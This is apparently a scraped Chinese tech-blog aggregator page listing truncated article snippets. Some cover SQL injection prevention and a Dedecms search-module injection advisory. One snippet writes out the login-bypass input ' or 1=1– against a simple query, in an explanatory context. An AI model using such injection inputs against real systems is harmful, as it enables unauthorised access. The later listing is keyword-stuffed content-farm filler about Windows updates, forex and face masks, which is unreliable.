    从零搭建前端开发环境(零)——基础篇:1.npm、git及项目初始化从零搭建前端开发环境(零)——基础篇:2.webpack生产与开发环境配置从零搭建前端开发环境(零)——扩展篇:3.jest单测从零搭建前端开发环境(零)——扩展篇:4.eslint统一代码规范从零搭建前端开发环境(零)…...

    2024/4/19 18:37:15
  5. 如何预防SQL注入,XSS漏洞(spring,java)

    SQL注入简介SQL注入是由于程序员对用户输入的参数没有做好校验,让不法分子钻了SQL的空子, 比如:我们一个登录界面,要求用户输入用户名和密码: 用户名: ’ or 1=1– 密码: 点击登录之后,如果后台只有一条简单的待条件的sql语句,没有做特殊处理的话: 如: String …...

    2024/4/17 18:37:21
  6. Android 直播礼物动画实现之SVGA动画

    在最近做的直播项目中,产品要求发送礼物时,需要显示对应的礼物动画,其中几个礼物动画效果如下:看了这几个动画效果,是挺炫酷的,妥妥的能够增加用户体验,但是实现起来可就没那么容易了。Android中动画实现方案,主要有以下几种:(1)Frame Animation(逐帧动画)(2)Twe…...

    2024/4/17 18:37:09
  7. Dedecms 搜索模块sql注入

    Dedecms 搜索模块sql注入描述: Search模块对外部输入参数过滤不严谨,导致产生了sql注入漏洞。 - 收起 Dedecms plus/search.php 文件存在变量覆盖漏洞,导致$typeid能被二次覆盖,产生sql注入漏洞。 Dedecms 搜索模块sql注入危害: 被SQL注入后可能导致以下后果: 1.网页被篡改…...

    2024/4/17 18:38:40
  8. 阿里云https证书tomcat配置

    阅读本文前,请先参看前文http://blog.csdn.net/baidu_19473529/article/details/70037696 当我们使用Java生成的证书使用https访问时会出现未认证的问题,证书风险现在我们就申请一个阿里云云盾的免费证书 一、登录阿里云-->安全(云盾)-->证书服务->购买证书在配置单…...

    2024/4/19 17:16:38
  9. 2012前端技术回顾

    尽管Web前端技术诞生至今时日并不长,但随着Web技术的逐渐深入,今后将会在以下几方面发力。1. Web移动终端开发。2. JavaScript的兄弟们。3. 百花齐放的类库和框架。4. 工程化的Web前端开发规范。Web移动终端开发PhoneGap:一个开源的开发框架,使用HTML、CSS和JavaScript来构…...

    2024/4/20 13:53:04
  10. 关于在MyEclipse 2017 CI 10中遇到Tomcat配置的问题

    经过了一晚上的折腾,终于成功把MyEclipse成功破解。然后兴奋的去睡觉了,结果第二天配置Tomcat的时候却按网上的方法遇到了很多问题,在经过了自己不懈努力下(不好意思),终于成功配置了Tomcat。下面写一下自己出现的问题。在自己成功的打开MyEclipse之后,在按照window->…...

    2024/4/17 18:38:21
  11. 那个16岁盗走马化腾QQ 震惊央视的农村男孩去哪了

    十几年前,还没有微博、微信、知乎。 但在网络上却有这样一个无人不知,无人不晓的江湖——“天涯社区”,和它的名字一样,这里鱼龙混杂,又有情有义,有无数大神。 当年的天涯孕育了一个又一个爆点:慕容雪村和他的《成都,今夜请将我遗忘》、芙蓉姐姐、奇葩小月月、天下霸…...

    2024/4/17 18:38:40
  12. SQL注入攻击与防御

    什么是SQL注入 程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。攻击者可以提交一段精心构造的数据库查询代码,根据返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。受影响的系统:对输入的参数不进行检查…...

    2024/4/17 18:37:27
  13. JAVA获取视频播第一帧

    java获取视频播第一帧FFMPEG 功能很强大,做视频必备的软件。大家可通过 http://ffmpeg.org/ 了解。Windows版本的软件,可通过 http://ffmpeg.zeranoe.com/builds/ 下载。 因为有这个需求,通过 ffmpeg 获取视频第一帧图片 Google一把,就有了结果。 参考: 1、http://www.cod…...

    2024/4/20 13:17:35
  14. Web开发就业方向有哪些?前端自学能找到工作?

    Web前端自学好学吗?Web前端开发就业方向有哪些呢?很多朋友都想拥有一门IT技术,很多人首先是会选择自学的方式。但是没有基础的同学自学起来就比较费劲一些,因为自学Web前端的路上,会出现各种问题,遇到各种障碍,如果无法有效的解决,是很难自学成才的。所以,在学习之前,…...

    2024/4/19 11:25:08
  15. 那个16岁盗走马化腾QQ 震惊央视的农村男孩去哪了

    十几年前,还没有微博、微信、知乎。 但在网络上却有这样一个无人不知,无人不晓的江湖——“天涯社区”,和它的名字一样,这里鱼龙混杂,又有情有义,有无数大神。 当年的天涯孕育了一个又一个爆点:慕容雪村和他的《成都,今夜请将我遗忘》、芙蓉姐姐、奇葩小月月、天下霸唱…...

    2024/4/11 20:09:52
  16. [web安全] SQL注入原理与分类

    一、SQL注入原理 SQL注入漏洞的形成原因:用户输入的数据被SQL解释器执行利用SQL注入绕过登录验证 在登录的过程中用户输入“用户名”和“密码”。 在程序中执行如下的SQL语句:select count(*) from admin where username=[用户名]and password=[密码] 随后根据返回结果的数目…...

    2024/4/15 15:20:28
  17. Linux下Tomcat的安装配置

    Linux下Tomcat的安装配置 一.下载安装对应的jdk,并配置Java环境。 官网下载地址: http://www.oracle.com/technetwork/java/javase/downloads/jdk-6u26-download-400750.html 下载将jdk加压后放到/usr/local目录下:[root@master ~]#chmod 755 jdk-6u5-linux-x64.bin [root@ma…...

    2024/4/19 18:44:31
  18. 常用的安全漏洞修复建议

    SQL注入漏洞描述通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设…...

    2024/4/20 1:42:19
  19. 机器学习系列(4)_机器学习算法一览,应用建议与解决思路

    作者:寒小阳 时间:2016年1月。 出处:http://blog.csdn.net/han_xiaoyang/article/details/50469334 声明:版权所有,转载请联系作者并注明出处 1.引言 提起笔来写这篇博客,突然有点愧疚和尴尬。愧疚的是,工作杂事多,加之懒癌严重,导致这个系列一直没有更新,向关注该系…...

    2024/4/18 9:41:24
  20. java分段文件下载的实现与多线程下载

    项目中用到分段文件下载,也使用多线程下载,提高下载效率。 自己花了时间整合成一个项目,可直接执行Junit方法看效果。 由于能力有限未免有不足的地方,请您指出。 下载地址:http://download.csdn.net/download/nk_tf/10236648...

    2024/4/19 15:57:57

最新文章

  1. conda创建并激活环境

    目录 conda创建并激活环境创建环境激活环境查看环境列表删除环境 参考资料 conda创建并激活环境 创建环境 conda create --name yourEnv python3.7–name&#xff1a;也可以缩写为 【-n】&#xff0c;【yourEnv】是新创建的虚拟环境的名字&#xff0c;创建完&#xff0c;可以…...

    2024/5/1 21:57:43
  2. 梯度消失和梯度爆炸的一些处理方法

    在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言&#xff0c;在此感激不尽。 权重和梯度的更新公式如下&#xff1a; w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...

    2024/3/20 10:50:27
  3. 触想四代ARM架构工业一体机助力手功能康复机器人应用

    一、行业发展背景 手功能康复机器人是医疗机器人的一个分支&#xff0c;设计用于帮助肢体障碍患者进行手部运动和力量训练&#xff0c;在医疗健康领域有着巨大的成长空间。 手功能康复机器人融合了传感、控制、计算、AI视觉等智能科技与医学技术&#xff0c;能够帮助患者改善康…...

    2024/5/1 5:48:50
  4. 安装Docker(CentOS)

    Docker 分为 CE 和 EE 两大版本。CE 即社区版&#xff08;免费&#xff0c;支持周期 7 个月&#xff09;&#xff0c;EE 即企业版&#xff0c;强调安全&#xff0c;付费使用&#xff0c;支持周期 24 个月。 Docker CE 分为 stable test 和 nightly 三个更新频道。 官方网站上…...

    2024/4/30 21:48:44
  5. 【外汇早评】美通胀数据走低,美元调整

    原标题:【外汇早评】美通胀数据走低,美元调整昨日美国方面公布了新一期的核心PCE物价指数数据,同比增长1.6%,低于前值和预期值的1.7%,距离美联储的通胀目标2%继续走低,通胀压力较低,且此前美国一季度GDP初值中的消费部分下滑明显,因此市场对美联储后续更可能降息的政策…...

    2024/5/1 17:30:59
  6. 【原油贵金属周评】原油多头拥挤,价格调整

    原标题:【原油贵金属周评】原油多头拥挤,价格调整本周国际劳动节,我们喜迎四天假期,但是整个金融市场确实流动性充沛,大事频发,各个商品波动剧烈。美国方面,在本周四凌晨公布5月份的利率决议和新闻发布会,维持联邦基金利率在2.25%-2.50%不变,符合市场预期。同时美联储…...

    2024/4/30 18:14:14
  7. 【外汇周评】靓丽非农不及疲软通胀影响

    原标题:【外汇周评】靓丽非农不及疲软通胀影响在刚结束的周五,美国方面公布了新一期的非农就业数据,大幅好于前值和预期,新增就业重新回到20万以上。具体数据: 美国4月非农就业人口变动 26.3万人,预期 19万人,前值 19.6万人。 美国4月失业率 3.6%,预期 3.8%,前值 3…...

    2024/4/29 2:29:43
  8. 【原油贵金属早评】库存继续增加,油价收跌

    原标题:【原油贵金属早评】库存继续增加,油价收跌周三清晨公布美国当周API原油库存数据,上周原油库存增加281万桶至4.692亿桶,增幅超过预期的74.4万桶。且有消息人士称,沙特阿美据悉将于6月向亚洲炼油厂额外出售更多原油,印度炼油商预计将每日获得至多20万桶的额外原油供…...

    2024/4/30 18:21:48
  9. 【外汇早评】日本央行会议纪要不改日元强势

    原标题:【外汇早评】日本央行会议纪要不改日元强势近两日日元大幅走强与近期市场风险情绪上升,避险资金回流日元有关,也与前一段时间的美日贸易谈判给日本缓冲期,日本方面对汇率问题也避免继续贬值有关。虽然今日早间日本央行公布的利率会议纪要仍然是支持宽松政策,但这符…...

    2024/4/27 17:58:04
  10. 【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响

    原标题:【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响近日伊朗局势升温,导致市场担忧影响原油供给,油价试图反弹。此时OPEC表态稳定市场。据消息人士透露,沙特6月石油出口料将低于700万桶/日,沙特已经收到石油消费国提出的6月份扩大出口的“适度要求”,沙特将满…...

    2024/4/27 14:22:49
  11. 【外汇早评】美欲与伊朗重谈协议

    原标题:【外汇早评】美欲与伊朗重谈协议美国对伊朗的制裁遭到伊朗的抗议,昨日伊朗方面提出将部分退出伊核协议。而此行为又遭到欧洲方面对伊朗的谴责和警告,伊朗外长昨日回应称,欧洲国家履行它们的义务,伊核协议就能保证存续。据传闻伊朗的导弹已经对准了以色列和美国的航…...

    2024/4/28 1:28:33
  12. 【原油贵金属早评】波动率飙升,市场情绪动荡

    原标题:【原油贵金属早评】波动率飙升,市场情绪动荡因中美贸易谈判不安情绪影响,金融市场各资产品种出现明显的波动。随着美国与中方开启第十一轮谈判之际,美国按照既定计划向中国2000亿商品征收25%的关税,市场情绪有所平复,已经开始接受这一事实。虽然波动率-恐慌指数VI…...

    2024/4/30 9:43:09
  13. 【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试

    原标题:【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试美国和伊朗的局势继续升温,市场风险情绪上升,避险黄金有向上突破阻力的迹象。原油方面稍显平稳,近期美国和OPEC加大供给及市场需求回落的影响,伊朗局势并未推升油价走强。近期中美贸易谈判摩擦再度升级,美国对中…...

    2024/4/27 17:59:30
  14. 【原油贵金属早评】市场情绪继续恶化,黄金上破

    原标题:【原油贵金属早评】市场情绪继续恶化,黄金上破周初中国针对于美国加征关税的进行的反制措施引发市场情绪的大幅波动,人民币汇率出现大幅的贬值动能,金融市场受到非常明显的冲击。尤其是波动率起来之后,对于股市的表现尤其不安。隔夜美国股市出现明显的下行走势,这…...

    2024/4/25 18:39:16
  15. 【外汇早评】美伊僵持,风险情绪继续升温

    原标题:【外汇早评】美伊僵持,风险情绪继续升温昨日沙特两艘油轮再次发生爆炸事件,导致波斯湾局势进一步恶化,市场担忧美伊可能会出现摩擦生火,避险品种获得支撑,黄金和日元大幅走强。美指受中美贸易问题影响而在低位震荡。继5月12日,四艘商船在阿联酋领海附近的阿曼湾、…...

    2024/4/28 1:34:08
  16. 【原油贵金属早评】贸易冲突导致需求低迷,油价弱势

    原标题:【原油贵金属早评】贸易冲突导致需求低迷,油价弱势近日虽然伊朗局势升温,中东地区几起油船被袭击事件影响,但油价并未走高,而是出于调整结构中。由于市场预期局势失控的可能性较低,而中美贸易问题导致的全球经济衰退风险更大,需求会持续低迷,因此油价调整压力较…...

    2024/4/26 19:03:37
  17. 氧生福地 玩美北湖(上)——为时光守候两千年

    原标题:氧生福地 玩美北湖(上)——为时光守候两千年一次说走就走的旅行,只有一张高铁票的距离~ 所以,湖南郴州,我来了~ 从广州南站出发,一个半小时就到达郴州西站了。在动车上,同时改票的南风兄和我居然被分到了一个车厢,所以一路非常愉快地聊了过来。 挺好,最起…...

    2024/4/29 20:46:55
  18. 氧生福地 玩美北湖(中)——永春梯田里的美与鲜

    原标题:氧生福地 玩美北湖(中)——永春梯田里的美与鲜一觉醒来,因为大家太爱“美”照,在柳毅山庄去寻找龙女而错过了早餐时间。近十点,向导坏坏还是带着饥肠辘辘的我们去吃郴州最富有盛名的“鱼头粉”。说这是“十二分推荐”,到郴州必吃的美食之一。 哇塞!那个味美香甜…...

    2024/4/30 22:21:04
  19. 氧生福地 玩美北湖(下)——奔跑吧骚年!

    原标题:氧生福地 玩美北湖(下)——奔跑吧骚年!让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 啊……啊……啊 两…...

    2024/5/1 4:32:01
  20. 扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!

    原标题:扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!扒开伪装医用面膜,翻六倍价格宰客!当行业里的某一品项火爆了,就会有很多商家蹭热度,装逼忽悠,最近火爆朋友圈的医用面膜,被沾上了污点,到底怎么回事呢? “比普通面膜安全、效果好!痘痘、痘印、敏感肌都能用…...

    2024/4/27 23:24:42
  21. 「发现」铁皮石斛仙草之神奇功效用于医用面膜

    原标题:「发现」铁皮石斛仙草之神奇功效用于医用面膜丽彦妆铁皮石斛医用面膜|石斛多糖无菌修护补水贴19大优势: 1、铁皮石斛:自唐宋以来,一直被列为皇室贡品,铁皮石斛生于海拔1600米的悬崖峭壁之上,繁殖力差,产量极低,所以古代仅供皇室、贵族享用 2、铁皮石斛自古民间…...

    2024/4/28 5:48:52
  22. 丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者

    原标题:丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者【公司简介】 广州华彬企业隶属香港华彬集团有限公司,专注美业21年,其旗下品牌: 「圣茵美」私密荷尔蒙抗衰,产后修复 「圣仪轩」私密荷尔蒙抗衰,产后修复 「花茵莳」私密荷尔蒙抗衰,产后修复 「丽彦妆」专注医学护…...

    2024/4/30 9:42:22
  23. 广州械字号面膜生产厂家OEM/ODM4项须知!

    原标题:广州械字号面膜生产厂家OEM/ODM4项须知!广州械字号面膜生产厂家OEM/ODM流程及注意事项解读: 械字号医用面膜,其实在我国并没有严格的定义,通常我们说的医美面膜指的应该是一种「医用敷料」,也就是说,医用面膜其实算作「医疗器械」的一种,又称「医用冷敷贴」。 …...

    2024/4/30 9:43:22
  24. 械字号医用眼膜缓解用眼过度到底有无作用?

    原标题:械字号医用眼膜缓解用眼过度到底有无作用?医用眼膜/械字号眼膜/医用冷敷眼贴 凝胶层为亲水高分子材料,含70%以上的水分。体表皮肤温度传导到本产品的凝胶层,热量被凝胶内水分子吸收,通过水分的蒸发带走大量的热量,可迅速地降低体表皮肤局部温度,减轻局部皮肤的灼…...

    2024/4/30 9:42:49
  25. 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...

    解析如下&#xff1a;1、长按电脑电源键直至关机&#xff0c;然后再按一次电源健重启电脑&#xff0c;按F8健进入安全模式2、安全模式下进入Windows系统桌面后&#xff0c;按住“winR”打开运行窗口&#xff0c;输入“services.msc”打开服务设置3、在服务界面&#xff0c;选中…...

    2022/11/19 21:17:18
  26. 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。

    %读入6幅图像&#xff08;每一幅图像的大小是564*564&#xff09; f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...

    2022/11/19 21:17:16
  27. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...

    win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面&#xff0c;在等待界面中我们需要等待操作结束才能关机&#xff0c;虽然这比较麻烦&#xff0c;但是对系统进行配置和升级…...

    2022/11/19 21:17:15
  28. 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...

    有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows&#xff0c;请勿关闭计算机”的提示&#xff0c;要过很久才能进入系统&#xff0c;有的用户甚至几个小时也无法进入&#xff0c;下面就教大家这个问题的解决方法。第一种方法&#xff1a;我们首先在左下角的“开始…...

    2022/11/19 21:17:14
  29. win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...

    置信有很多用户都跟小编一样遇到过这样的问题&#xff0c;电脑时发现开机屏幕显现“正在配置Windows Update&#xff0c;请勿关机”(如下图所示)&#xff0c;而且还需求等大约5分钟才干进入系统。这是怎样回事呢&#xff1f;一切都是正常操作的&#xff0c;为什么开时机呈现“正…...

    2022/11/19 21:17:13
  30. 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...

    Win7系统开机启动时总是出现“配置Windows请勿关机”的提示&#xff0c;没过几秒后电脑自动重启&#xff0c;每次开机都这样无法进入系统&#xff0c;此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一&#xff1a;开机按下F8&#xff0c;在出现的Windows高级启动选…...

    2022/11/19 21:17:12
  31. 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...

    有不少windows10系统用户反映说碰到这样一个情况&#xff0c;就是电脑提示正在准备windows请勿关闭计算机&#xff0c;碰到这样的问题该怎么解决呢&#xff0c;现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法&#xff1a;1、2、依次…...

    2022/11/19 21:17:11
  32. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...

    今天和大家分享一下win7系统重装了Win7旗舰版系统后&#xff0c;每次关机的时候桌面上都会显示一个“配置Windows Update的界面&#xff0c;提示请勿关闭计算机”&#xff0c;每次停留好几分钟才能正常关机&#xff0c;导致什么情况引起的呢&#xff1f;出现配置Windows Update…...

    2022/11/19 21:17:10
  33. 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...

    只能是等着&#xff0c;别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚&#xff0c;只能是考虑备份数据后重装系统了。解决来方案一&#xff1a;管理员运行cmd&#xff1a;net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...

    2022/11/19 21:17:09
  34. 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?

    原标题&#xff1a;电脑提示“配置Windows Update请勿关闭计算机”怎么办&#xff1f;win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢&#xff1f;一般的方…...

    2022/11/19 21:17:08
  35. 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...

    关机提示 windows7 正在配置windows 请勿关闭计算机 &#xff0c;然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;关机提示 windows7 正在配…...

    2022/11/19 21:17:05
  36. 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...

    钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...

    2022/11/19 21:17:05
  37. 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...

    前几天班里有位学生电脑(windows 7系统)出问题了&#xff0c;具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面&#xff0c;长时间没反应&#xff0c;无法进入系统。这个问题原来帮其他同学也解决过&#xff0c;网上搜了不少资料&#x…...

    2022/11/19 21:17:04
  38. 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...

    本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法&#xff0c;并在最后教给你1种保护系统安全的好方法&#xff0c;一起来看看&#xff01;电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中&#xff0c;添加了1个新功能在“磁…...

    2022/11/19 21:17:03
  39. 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...

    许多用户在长期不使用电脑的时候&#xff0c;开启电脑发现电脑显示&#xff1a;配置windows更新失败&#xff0c;正在还原更改&#xff0c;请勿关闭计算机。。.这要怎么办呢&#xff1f;下面小编就带着大家一起看看吧&#xff01;如果能够正常进入系统&#xff0c;建议您暂时移…...

    2022/11/19 21:17:02
  40. 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...

    配置windows update失败 还原更改 请勿关闭计算机&#xff0c;电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;配置windows update失败 还原更改 请勿关闭计算机&#x…...

    2022/11/19 21:17:01
  41. 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...

    不知道大家有没有遇到过这样的一个问题&#xff0c;就是我们的win7系统在关机的时候&#xff0c;总是喜欢显示“准备配置windows&#xff0c;请勿关机”这样的一个页面&#xff0c;没有什么大碍&#xff0c;但是如果一直等着的话就要两个小时甚至更久都关不了机&#xff0c;非常…...

    2022/11/19 21:17:00
  42. 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...

    当电脑出现正在准备配置windows请勿关闭计算机时&#xff0c;一般是您正对windows进行升级&#xff0c;但是这个要是长时间没有反应&#xff0c;我们不能再傻等下去了。可能是电脑出了别的问题了&#xff0c;来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...

    2022/11/19 21:16:59
  43. 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...

    我们使用电脑的过程中有时会遇到这种情况&#xff0c;当我们打开电脑之后&#xff0c;发现一直停留在一个界面&#xff1a;“配置Windows Update失败&#xff0c;还原更改请勿关闭计算机”&#xff0c;等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢&#xff0…...

    2022/11/19 21:16:58
  44. 如何在iPhone上关闭“请勿打扰”

    Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...

    2022/11/19 21:16:57